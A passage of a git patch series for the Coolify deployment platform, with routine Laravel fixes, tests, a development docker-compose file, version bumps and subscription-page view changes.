'applications') && str_contains($route->uri(), 'stop')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('database start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('service start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); +}); From 16e85e27e83b6be5e321d1dafe1c61cb1a45f8ac Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 12:14:44 +0100 Subject: [PATCH 067/305] fix(service): always enable force https labels Force HTTPS routing labels in parser helpers and remove per-service toggles now that the preference is no longer honored. --- app/Models/ServiceApplication.php | 5 ----- app/Models/ServiceDatabase.php | 5 ----- bootstrap/helpers/parsers.php | 8 ++++---- bootstrap/helpers/shared.php | 8 ++++---- 4 files changed, 8 insertions(+), 18 deletions(-) diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index cbd02daa6..7b8b46812 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -81,11 +81,6 @@ public function isGzipEnabled() return data_get($this, 'is_gzip_enabled', true); } - public function isForceHttpsEnabled() - { - return data_get($this, 'is_force_https_enabled', true); - } - public function type() { return 'service'; diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index aee71295a..f6a39cfe4 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -80,11 +80,6 @@ public function isGzipEnabled() return data_get($this, 'is_gzip_enabled', true); } - public function isForceHttpsEnabled() - { - return data_get($this, 'is_force_https_enabled', true); - } - public function type() { return 'service'; diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 45125bce7..53060d28f 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -2329,7 +2329,7 @@ function serviceParser(Service $resource): Collection $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: $originalResource->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -2342,7 +2342,7 @@ function serviceParser(Service $resource): Collection network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: $originalResource->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -2356,7 +2356,7 @@ function serviceParser(Service $resource): Collection $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $uuid, domains: $fqdns, - is_force_https_enabled: $originalResource->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), @@ -2367,7 +2367,7 @@ function serviceParser(Service $resource): Collection network: $network, uuid: $uuid, domains: $fqdns, - is_force_https_enabled: $originalResource->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $originalResource->isGzipEnabled(), is_stripprefix_enabled: $originalResource->isStripprefixEnabled(), diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 2a7d5cbb0..4372ff955 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -1933,7 +1933,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: $savedService->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), @@ -1946,7 +1946,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal network: $resource->destination->network, uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: $savedService->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), @@ -1959,7 +1959,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik( uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: $savedService->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), @@ -1970,7 +1970,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal network: $resource->destination->network, uuid: $resource->uuid, domains: $fqdns, - is_force_https_enabled: $savedService->isForceHttpsEnabled(), + is_force_https_enabled: true, serviceLabels: $serviceLabels, is_gzip_enabled: $savedService->isGzipEnabled(), is_stripprefix_enabled: $savedService->isStripprefixEnabled(), From ffb408f2146d9503ba5bf9952c8437c4546c2b13 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 12:18:50 +0100 Subject: [PATCH 068/305] Create docker-compose-maxio.dev.yml --- docker-compose-maxio.dev.yml | 209 +++++++++++++++++++++++++++++++++++ 1 file changed, 209 insertions(+) create mode 100644 docker-compose-maxio.dev.yml diff --git a/docker-compose-maxio.dev.yml b/docker-compose-maxio.dev.yml new file mode 100644 index 000000000..e2650fb7b --- /dev/null +++ b/docker-compose-maxio.dev.yml @@ -0,0 +1,209 @@ +services: + coolify: + image: coolify:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/development/Dockerfile + args: + - USER_ID=${USERID:-1000} + - GROUP_ID=${GROUPID:-1000} + ports: + - "${APP_PORT:-8000}:8080" + environment: + AUTORUN_ENABLED: false + PUSHER_HOST: "${PUSHER_HOST}" + PUSHER_PORT: "${PUSHER_PORT}" + PUSHER_SCHEME: "${PUSHER_SCHEME:-http}" + PUSHER_APP_ID: "${PUSHER_APP_ID:-coolify}" + PUSHER_APP_KEY: "${PUSHER_APP_KEY:-coolify}" + PUSHER_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + healthcheck: + test: curl -sf http://127.0.0.1:8080/api/health || exit 1 + interval: 5s + retries: 10 + timeout: 2s + volumes: + - .:/var/www/html/:cached + - dev_backups_data:/var/www/html/storage/app/backups + networks: + - coolify + postgres: + pull_policy: always + ports: + - "${FORWARD_DB_PORT:-5432}:5432" + env_file: + - .env + environment: + POSTGRES_USER: "${DB_USERNAME:-coolify}" + POSTGRES_PASSWORD: "${DB_PASSWORD:-password}" + POSTGRES_DB: "${DB_DATABASE:-coolify}" + POSTGRES_HOST_AUTH_METHOD: "trust" + healthcheck: + test: [ "CMD-SHELL", "pg_isready -U $$POSTGRES_USER -d $$POSTGRES_DB" ] + interval: 5s + retries: 10 + timeout: 2s + volumes: + - dev_postgres_data:/var/lib/postgresql/data + redis: + pull_policy: always + ports: + - "${FORWARD_REDIS_PORT:-6379}:6379" + env_file: + - .env + healthcheck: + test: redis-cli ping + interval: 5s + retries: 10 + timeout: 2s + volumes: + - dev_redis_data:/data + soketi: + image: coolify-realtime:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/coolify-realtime/Dockerfile + env_file: + - .env + ports: + - "${FORWARD_SOKETI_PORT:-6001}:6001" + - "6002:6002" + volumes: + - ./storage:/var/www/html/storage + - ./docker/coolify-realtime/terminal-server.js:/terminal/terminal-server.js + environment: + SOKETI_DEBUG: "false" + SOKETI_DEFAULT_APP_ID: "${PUSHER_APP_ID:-coolify}" + SOKETI_DEFAULT_APP_KEY: "${PUSHER_APP_KEY:-coolify}" + SOKETI_DEFAULT_APP_SECRET: "${PUSHER_APP_SECRET:-coolify}" + healthcheck: + test: [ "CMD-SHELL", "curl -fsS http://127.0.0.1:6001/ready && curl -fsS http://127.0.0.1:6002/ready || exit 1" ] + interval: 5s + retries: 10 + timeout: 2s + entrypoint: ["/bin/sh", "/soketi-entrypoint.sh"] + vite: + image: node:24-alpine + pull_policy: always + container_name: coolify-vite + working_dir: /var/www/html + environment: + VITE_HOST: "${VITE_HOST:-localhost}" + VITE_PORT: "${VITE_PORT:-5173}" + ports: + - "${VITE_PORT:-5173}:${VITE_PORT:-5173}" + volumes: + - .:/var/www/html/:cached + command: sh -c "npm install && npm run dev" + networks: + - coolify + testing-host: + image: coolify-testing-host:dev + pull_policy: never + build: + context: . + dockerfile: ./docker/testing-host/Dockerfile + init: true + container_name: coolify-testing-host + volumes: + - /var/run/docker.sock:/var/run/docker.sock + - dev_coolify_data:/data/coolify + - dev_backups_data:/data/coolify/backups + - dev_postgres_data:/data/coolify/_volumes/database + - dev_redis_data:/data/coolify/_volumes/redis + - dev_minio_data:/data/coolify/_volumes/minio + networks: + - coolify + mailpit: + image: axllent/mailpit:latest + pull_policy: always + container_name: coolify-mail + ports: + - "${FORWARD_MAILPIT_PORT:-1025}:1025" + - "${FORWARD_MAILPIT_DASHBOARD_PORT:-8025}:8025" + networks: + - coolify + # maxio: + # image: ghcr.io/coollabsio/maxio + # pull_policy: always + # container_name: coolify-maxio + # ports: + # - "${FORWARD_MAXIO_PORT:-9000}:9000" + # environment: + # MAXIO_ACCESS_KEY: "${MAXIO_ACCESS_KEY:-maxioadmin}" + # MAXIO_SECRET_KEY: "${MAXIO_SECRET_KEY:-maxioadmin}" + # volumes: + # - dev_maxio_data:/data + # networks: + # - coolify + minio: + image: ghcr.io/coollabsio/minio:RELEASE.2025-10-15T17-29-55Z # Released on 15 October 2025 + pull_policy: always + container_name: coolify-minio + command: server /data --console-address ":9001" + ports: + - "${FORWARD_MINIO_PORT:-9000}:9000" + - "${FORWARD_MINIO_PORT_CONSOLE:-9001}:9001" + environment: + MINIO_ACCESS_KEY: "${MINIO_ACCESS_KEY:-minioadmin}" + MINIO_SECRET_KEY: "${MINIO_SECRET_KEY:-minioadmin}" + volumes: + - dev_minio_data:/data + - dev_maxio_data:/data + networks: + - coolify + # maxio-init: + # image: minio/mc:latest + # pull_policy: always + # container_name: coolify-maxio-init + # restart: no + # depends_on: + # - maxio + # entrypoint: > + # /bin/sh -c " + # echo 'Waiting for MaxIO to be ready...'; + # until mc alias set local http://coolify-maxio:9000 maxioadmin maxioadmin 2>/dev/null; do + # echo 'MaxIO not ready yet, waiting...'; + # sleep 2; + # done; + # echo 'MaxIO is ready, creating bucket if needed...'; + # mc mb local/local --ignore-existing; + # echo 'MaxIO initialization complete - bucket local is ready'; + # " + # networks: + # - coolify + minio-init: + image: minio/mc:latest + pull_policy: always + container_name: coolify-minio-init + restart: no + depends_on: + - minio + entrypoint: > + /bin/sh -c " + echo 'Waiting for MinIO to be ready...'; + until mc alias set local http://coolify-minio:9000 minioadmin minioadmin 2>/dev/null; do + echo 'MinIO not ready yet, waiting...'; + sleep 2; + done; + echo 'MinIO is ready, creating bucket if needed...'; + mc mb local/local --ignore-existing; + echo 'MinIO initialization complete - bucket local is ready'; + " + networks: + - coolify + +volumes: + dev_backups_data: + dev_postgres_data: + dev_redis_data: + dev_coolify_data: + dev_minio_data: + dev_maxio_data: + +networks: + coolify: + name: coolify + external: false From cb0f5cc812d81a812da12d958cac8a6ae285513f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 12:19:57 +0100 Subject: [PATCH 069/305] chore: prepare for PR --- app/Jobs/ScheduledJobManager.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index c9dc20af1..d69585788 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -104,7 +104,7 @@ public function handle(): void Log::channel('scheduled')->info('ScheduledJobManager completed', [ 'execution_time' => $this->executionTime->toIso8601String(), - 'duration_ms' => Carbon::now()->diffInMilliseconds($this->executionTime), + 'duration_ms' => $this->executionTime->diffInMilliseconds(Carbon::now()), 'dispatched' => $this->dispatchedCount, 'skipped' => $this->skippedCount, ]); From bf51ed905fd296d6a7bcd1f2a6203a40b61790be Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 13:02:06 +0100 Subject: [PATCH 070/305] chore: prepare for PR --- app/Models/Team.php | 3 +- tests/Feature/TeamNotificationCheckTest.php | 52 +++++++++++++++++++++ 2 files changed, 54 insertions(+), 1 deletion(-) create mode 100644 tests/Feature/TeamNotificationCheckTest.php diff --git a/app/Models/Team.php b/app/Models/Team.php index 5cb186942..e32526169 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -191,7 +191,8 @@ public function isAnyNotificationEnabled() $this->getNotificationSettings('discord')?->isEnabled() || $this->getNotificationSettings('slack')?->isEnabled() || $this->getNotificationSettings('telegram')?->isEnabled() || - $this->getNotificationSettings('pushover')?->isEnabled(); + $this->getNotificationSettings('pushover')?->isEnabled() || + $this->getNotificationSettings('webhook')?->isEnabled(); } public function subscriptionEnded() diff --git a/tests/Feature/TeamNotificationCheckTest.php b/tests/Feature/TeamNotificationCheckTest.php new file mode 100644 index 000000000..2a39b020e --- /dev/null +++ b/tests/Feature/TeamNotificationCheckTest.php @@ -0,0 +1,52 @@ +team = Team::factory()->create(); +}); + +describe('isAnyNotificationEnabled', function () { + test('returns false when no notifications are enabled', function () { + expect($this->team->isAnyNotificationEnabled())->toBeFalse(); + }); + + test('returns true when email notifications are enabled', function () { + $this->team->emailNotificationSettings->update(['smtp_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when discord notifications are enabled', function () { + $this->team->discordNotificationSettings->update(['discord_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when slack notifications are enabled', function () { + $this->team->slackNotificationSettings->update(['slack_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when telegram notifications are enabled', function () { + $this->team->telegramNotificationSettings->update(['telegram_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when pushover notifications are enabled', function () { + $this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when webhook notifications are enabled', function () { + $this->team->webhookNotificationSettings->update(['webhook_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); +}); From 61a54afe2be25ac49501196927a96783370a07a2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 13:23:12 +0100 Subject: [PATCH 071/305] fix(service): resolve team lookup via service relationship Update service application/database team accessors to traverse the service relation chain and add coverage to prevent null team regressions. --- app/Models/ServiceApplication.php | 2 +- app/Models/ServiceDatabase.php | 2 +- tests/Feature/ServiceDatabaseTeamTest.php | 77 +++++++++++++++++++++++ 3 files changed, 79 insertions(+), 2 deletions(-) create mode 100644 tests/Feature/ServiceDatabaseTeamTest.php diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 7b8b46812..4bf78085e 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -88,7 +88,7 @@ public function type() public function team() { - return data_get($this, 'environment.project.team'); + return data_get($this, 'service.environment.project.team'); } public function workdir() diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index f6a39cfe4..7b0abe59e 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -124,7 +124,7 @@ public function getServiceDatabaseUrl() public function team() { - return data_get($this, 'environment.project.team'); + return data_get($this, 'service.environment.project.team'); } public function workdir() diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php new file mode 100644 index 000000000..97bb0fd2a --- /dev/null +++ b/tests/Feature/ServiceDatabaseTeamTest.php @@ -0,0 +1,77 @@ +create(); + + $project = Project::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'Test Project', + 'team_id' => $team->id, + ]); + + $environment = Environment::create([ + 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + 'project_id' => $project->id, + ]); + + $service = Service::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase', + 'environment_id' => $environment->id, + 'destination_id' => 1, + 'destination_type' => 'App\Models\StandaloneDocker', + 'docker_compose_raw' => 'version: "3"', + ]); + + $serviceDatabase = ServiceDatabase::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase-db', + 'service_id' => $service->id, + ]); + + expect($serviceDatabase->team())->not->toBeNull() + ->and($serviceDatabase->team()->id)->toBe($team->id); +}); + +it('returns the correct team for ServiceApplication through the service relationship chain', function () { + $team = Team::factory()->create(); + + $project = Project::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'Test Project', + 'team_id' => $team->id, + ]); + + $environment = Environment::create([ + 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + 'project_id' => $project->id, + ]); + + $service = Service::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase', + 'environment_id' => $environment->id, + 'destination_id' => 1, + 'destination_type' => 'App\Models\StandaloneDocker', + 'docker_compose_raw' => 'version: "3"', + ]); + + $serviceApplication = ServiceApplication::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase-studio', + 'service_id' => $service->id, + ]); + + expect($serviceApplication->team())->not->toBeNull() + ->and($serviceApplication->team()->id)->toBe($team->id); +}); From b7b0dfedddb0a7237cdc0e53b7b7dc5ef4b21ca1 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 13:24:49 +0100 Subject: [PATCH 072/305] chore: prepare for PR --- config/horizon.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config/horizon.php b/config/horizon.php index cdabcb1e8..0423f1549 100644 --- a/config/horizon.php +++ b/config/horizon.php @@ -184,13 +184,13 @@ 'connection' => 'redis', 'balance' => env('HORIZON_BALANCE', 'false'), 'queue' => env('HORIZON_QUEUES', 'high,default'), - 'maxTime' => 3600, + 'maxTime' => env('HORIZON_MAX_TIME', 0), 'maxJobs' => 400, 'memory' => 128, 'tries' => 1, 'nice' => 0, 'sleep' => 3, - 'timeout' => 3600, + 'timeout' => env('HORIZON_TIMEOUT', 36000), ], ], From 76a6960f4448636786b8ca5bfbbe507148f1811f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 13:26:01 +0100 Subject: [PATCH 073/305] chore: prepare for PR --- app/Actions/Database/StartKeydb.php | 3 ++ app/Actions/Database/StartRedis.php | 3 ++ tests/Unit/StartKeydbConfigPermissionTest.php | 52 ++++++++++++++++++ tests/Unit/StartRedisConfigPermissionTest.php | 53 +++++++++++++++++++ 4 files changed, 111 insertions(+) create mode 100644 tests/Unit/StartKeydbConfigPermissionTest.php create mode 100644 tests/Unit/StartRedisConfigPermissionTest.php diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index 58f3cda4e..fe80a7d54 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -207,6 +207,9 @@ public function handle(StandaloneKeydb $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) { + $this->commands[] = "chown 999:999 $this->configuration_dir/keydb.conf"; + } $this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true"; $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index 4e4f3ce53..70df91054 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -204,6 +204,9 @@ public function handle(StandaloneRedis $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) { + $this->commands[] = "chown 999:999 $this->configuration_dir/redis.conf"; + } $this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true"; $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; diff --git a/tests/Unit/StartKeydbConfigPermissionTest.php b/tests/Unit/StartKeydbConfigPermissionTest.php new file mode 100644 index 000000000..dca3b0e8c --- /dev/null +++ b/tests/Unit/StartKeydbConfigPermissionTest.php @@ -0,0 +1,52 @@ +configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb'); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf'); +}); + +test('keydb config chown command is not added when keydb_conf is null', function () { + $action = new StartKeydb; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); + +test('keydb config chown command is not added when keydb_conf is empty', function () { + $action = new StartKeydb; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(''); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); diff --git a/tests/Unit/StartRedisConfigPermissionTest.php b/tests/Unit/StartRedisConfigPermissionTest.php new file mode 100644 index 000000000..77574287e --- /dev/null +++ b/tests/Unit/StartRedisConfigPermissionTest.php @@ -0,0 +1,53 @@ +configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb'); + $action->database = $database; + + // Simulate the chown logic from handle() + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf'); +}); + +test('redis config chown command is not added when redis_conf is null', function () { + $action = new StartRedis; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null); + $action->database = $database; + + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); + +test('redis config chown command is not added when redis_conf is empty', function () { + $action = new StartRedis; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(''); + $action->database = $database; + + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); From d71d91d63ea9ef5a2b1fb86f7b7baaf5ea036d0d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 13:47:26 +0100 Subject: [PATCH 074/305] fix(version): update coolify version to 4.0.0-beta.464 and nightly version to 4.0.0-beta.465 --- config/constants.php | 2 +- versions.json | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/config/constants.php b/config/constants.php index 0b404fe9d..be41c4618 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.463', + 'version' => '4.0.0-beta.464', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.10', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/versions.json b/versions.json index 1ce790111..7409fbc42 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.463" + "version": "4.0.0-beta.464" }, "nightly": { - "version": "4.0.0-beta.464" + "version": "4.0.0-beta.465" }, "helper": { "version": "1.0.12" From 620da191b1244be707949cc27a21ef74d26320a3 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 14:15:13 +0100 Subject: [PATCH 075/305] chore: prepare for PR --- app/Models/Application.php | 2 +- tests/Unit/ApplicationDeploymentTypeTest.php | 11 +++++++++++ 2 files changed, 12 insertions(+), 1 deletion(-) create mode 100644 tests/Unit/ApplicationDeploymentTypeTest.php diff --git a/app/Models/Application.php b/app/Models/Application.php index d6c222a97..28ef79078 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -990,7 +990,7 @@ public function deploymentType() if (isDev() && data_get($this, 'private_key_id') === 0) { return 'deploy_key'; } - if (data_get($this, 'private_key_id')) { + if (! is_null(data_get($this, 'private_key_id'))) { return 'deploy_key'; } elseif (data_get($this, 'source')) { return 'source'; diff --git a/tests/Unit/ApplicationDeploymentTypeTest.php b/tests/Unit/ApplicationDeploymentTypeTest.php new file mode 100644 index 000000000..d240181f1 --- /dev/null +++ b/tests/Unit/ApplicationDeploymentTypeTest.php @@ -0,0 +1,11 @@ +private_key_id = 0; + $application->source = null; + + expect($application->deploymentType())->toBe('deploy_key'); +}); From 6cacd2f0ffaf31dd97d987382c843da0d3b54a07 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Feb 2026 14:17:15 +0100 Subject: [PATCH 076/305] chore: prepare for PR --- resources/views/livewire/project/application/heading.blade.php | 2 +- resources/views/livewire/project/service/heading.blade.php | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/resources/views/livewire/project/application/heading.blade.php b/resources/views/livewire/project/application/heading.blade.php index 96e5d9770..4af466fc5 100644 --- a/resources/views/livewire/project/application/heading.blade.php +++ b/resources/views/livewire/project/application/heading.blade.php @@ -1,7 +1,7 @@
diff --git a/resources/views/livewire/subscription/index.blade.php b/resources/views/livewire/subscription/index.blade.php index d1d933e04..c78af77f9 100644 --- a/resources/views/livewire/subscription/index.blade.php +++ b/resources/views/livewire/subscription/index.blade.php @@ -3,29 +3,26 @@ Subscribe | Coolify @if (auth()->user()->isAdminFromSession()) - @if (request()->query->get('cancelled')) -
- - - - Something went wrong with your subscription. Please try again or contact - support. -
- @endif

Subscriptions

@if ($loading) -
- Loading your subscription status... +
+
@else @if ($isUnpaid) -
- Your last payment was failed for Coolify Cloud. -
+ +
+ + + + Payment Failed. Your last payment for Coolify + Cloud has failed. +
+

Open the following link, navigate to the button and pay your unpaid/past due subscription. @@ -34,18 +31,20 @@

@else @if (config('subscription.provider') === 'stripe') -
$isCancelled, - 'pb-10' => !$isCancelled, - ])> - @if ($isCancelled) -
- It looks like your previous subscription has been cancelled, because you forgot to - pay - the bills.
Please subscribe again to continue using Coolify.
+ @if ($isCancelled) + +
+ + + + No Active Subscription. Subscribe to + a plan to start using Coolify Cloud.
- @endif -
+ + @endif +
$isCancelled, 'pb-10' => !$isCancelled])>
@endif @endif diff --git a/resources/views/livewire/subscription/pricing-plans.blade.php b/resources/views/livewire/subscription/pricing-plans.blade.php index 52811f288..45edc39ad 100644 --- a/resources/views/livewire/subscription/pricing-plans.blade.php +++ b/resources/views/livewire/subscription/pricing-plans.blade.php @@ -1,162 +1,123 @@ -
-
-
-
- Payment frequency - - -
+
+ {{-- Frequency Toggle --}} +
+
+ Payment frequency + + +
+
+ +
